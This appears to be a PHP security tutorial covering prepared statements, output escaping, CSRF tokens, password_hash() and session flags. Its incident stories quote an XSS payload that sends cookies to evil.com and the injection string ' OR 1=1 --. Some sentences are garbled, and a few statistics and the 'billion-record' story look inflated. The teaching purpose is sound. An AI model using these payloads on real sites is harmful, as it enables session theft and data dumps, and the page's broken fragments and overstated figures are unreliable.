PHP SQL Injection: addslashes() Caused Billion-Record Leak
A billion records leaked because addslashes() failed.
- SQL injection: use prepared statements with PDO or MySQLi — never concatenate user input.
- XSS: escape output with htmlspecialchars() and implement Content Security Policy headers.
- CSRF: generate per-session tokens and validate on state-changing requests.
- Password hashing: bcrypt or Argon2 through password_hash() — never MD5/SHA1.
- Session hardening: set HttpOnly, Secure, SameSite cookies and regenerate on privilege escalation.
- Prepared statements add ~0.1ms per query but prevent 100% of SQL injection attacks.
- File uploads: validate MIME type server-side, store outside webroot, rename files.
Imagine your PHP app is a bank vault. The front door has a combination lock (authentication), the teller verifies your ID (authorization), and every envelope coming in is X-rayed for explosives (input validation). Most hacks don't blow through the walls — they walk right through a door you left open by accident. PHP security is simply the discipline of closing every door you didn't realise you'd left ajar.
PHP powers roughly 77% of all server-side websites, which makes it the single biggest attack surface on the web. That popularity is a double-edged sword: there's a massive ecosystem of tooling and community knowledge, but there's also an enormous catalogue of known exploits, automated scanners, and script kiddies running them 24/7 against every public-facing PHP endpoint on the planet. A single unparameterised query or an unescaped echo can hand an attacker your entire database or hijack every active user session on your platform.
The problem isn't that PHP is inherently insecure — modern PHP 8.x is genuinely well-engineered. The problem is that PHP's permissive heritage (it was designed to get things on-screen fast) means it's trivially easy to write vulnerable code that looks completely fine to an untrained eye. A junior developer can ship a working feature that also ships a critical vulnerability, and neither automated linters nor code review will catch it unless the reviewer knows exactly what to look for.
By the end of this article you'll be able to identify and remediate the OWASP Top 10 vulnerabilities as they apply specifically to PHP, harden sessions against fixation and hijacking attacks, implement Content Security Policy headers programmatically, hash passwords correctly (and understand why every other approach is wrong), and lock down file upload endpoints so they can't be weaponised. This isn't theory — every pattern here is battle-tested in production systems handling millions of requests per day.
PHP Security: The Attack Surface and Defence Layers
PHP security isn't a single technique — it's a stack of layers you build into every request. Input validation, prepared statements, output escaping, secure sessions, CSRF tokens, CSP headers, and proper hashing. Each layer costs a little more code, but each one buys a defence that might save your entire system.
Here's the thing: attackers don't break your crypto. They exploit the gaps between layers. A missing after a prepared statement still gives them XSS. A missing CSRF token on an API endpoint still lets them forge requests. You don't get to pick one and call it done.htmlspecialchars()
The mental model is an onion. If someone peels through prepared statements (rare, but character-set bypasses exist), the CSP header stops script execution. If they get past CSP (unlikely), session regeneration limits damage. You build redundancy into security.
- Validate inputs before they touch any logic.
- Bind parameters to separate code from data.
- Escape outputs so data is never interpreted as code.
- Set CSP headers as a safety net if escaping fails.
- Regenerate sessions after login to prevent fixation.
SQL Injection Prevention: Prepared Statements Are Non-Negotiable
SQL injection is the most exploited vulnerability in PHP applications, and the fix is trivial: never concatenate user input into SQL queries. Use PDO prepared statements with bound parameters. The database driver handles escaping and ensures that input is never interpreted as SQL code. Also validate input types — if you expect an integer, cast it with (int) or use filter_var(). Never rely on addslashes() or magic_quotes — those are bandaids, not fixes.
addslashes() on a search query. The attacker exploited a multi-byte character encoding bypass.XSS Prevention: Trust No Output
Cross-Site Scripting (XSS) happens when an attacker injects JavaScript into your pages. The core defence is context-aware escaping: htmlspecialchars($data, ENT_QUOTES, 'UTF-8') for HTML body contexts, and use JavaScript-safe escaping for embedded data. But the real power move is Content Security Policy (CSP). Set a strict CSP header that blocks all inline scripts by default, then allow only specific hashes or nonces. That way, even if an injection slips through, the browser refuses to execute it.
<script>document.location='https://evil.com/?cookie='+document.cookie</script>. The CSP header was missing. 50,000 user sessions were stolen.CSRF Protection: Token Every State Change
Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing actions they didn't intend — like changing their email or transferring money. The standard defence is a synchronizer token: generate a random token, store it in the session, embed it in every form, and validate it on submission. In modern PHP, also set SameSite=Strict or Lax on session cookies — this blocks most CSRF attacks without any extra code. For APIs, consider using custom request headers (e.g., X-CSRF-Token) that are checked server-side.
Password Hashing: Never Roll Your Own
PHP provides password_hash() and password_verify() which use bcrypt or Argon2 under the hood. These algorithms are deliberately slow to resist brute force. Never use MD5, SHA1, or even SHA256 for passwords — they are fast and can be cracked at billions of hashes per second. Use PASSWORD_BCRYPT (cost factor 12+) or PASSWORD_ARGON2ID (PHP 8.1+). Also, always use a random salt — the functions handle that automatically.
password_hash() — it's the only correct way in PHP.password_needs_rehash() on login to upgrade.Session Hardening: Cookies That Fight Back
Session hijacking and fixation attacks are common when session cookies lack security flags. Always use session_set_cookie_params() with HttpOnly (prevents JavaScript access), Secure (HTTPS only), SameSite (Strict/Lax), and a reasonable lifetime. Also regenerate session ID after login (session_regenerate_id(true)) to prevent session fixation. Store session data securely — use files in a non-public directory or better, use Redis with encryption for high-traffic apps.
The Billion-Record SQL Injection That Slipped Through Code Review
addslashes() on all string inputs was sufficient. The code reviewer approved because they saw the escaping and thought it was safe.SELECT * FROM orders WHERE order_ref = '$ref'. The addslashes() function does not escape all SQL metacharacters, and certain character sets allow bypasses. The attacker injected ' OR 1=1 -- to dump all orders.- addslashes() is not a substitute for prepared statements — it's a false sense of security.
- Always bind parameters, never interpolate. Even if the input looks clean, the query structure must separate code from data.
- Code review must explicitly check for parameterised queries, especially in search, sort, and filter endpoints.
bin2hex(random_bytes(32)) for token generation.password_hash() with PASSWORD_BCRYPT or PASSWORD_ARGON2ID immediately.Key takeaways
password_hash() with bcrypt or Argon2Common mistakes to avoid
5 patternsUsing addslashes() instead of prepared statements
filter_var() for type validation.Only escaping output in HTML but not in JavaScript contexts
<script> tags or event handlers like onclick.Not regenerating session ID after login
session_regenerate_id(true) immediately after successful authentication.Hashing passwords with SHA256 or MD5
password_hash() with PASSWORD_ARGON2ID. For existing hashes, hash_migrate on login using password_needs_rehash().Assuming CSRF protection is unnecessary for API endpoints
Interview Questions on This Topic
What is the correct way to prevent SQL injection in PHP? Explain with code.
php
$pdo = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$user = $stmt->fetch();
``
This separates SQL code from data completely.Frequently Asked Questions
That's Advanced PHP. Mark it forged?
3 min read · try the examples if you haven't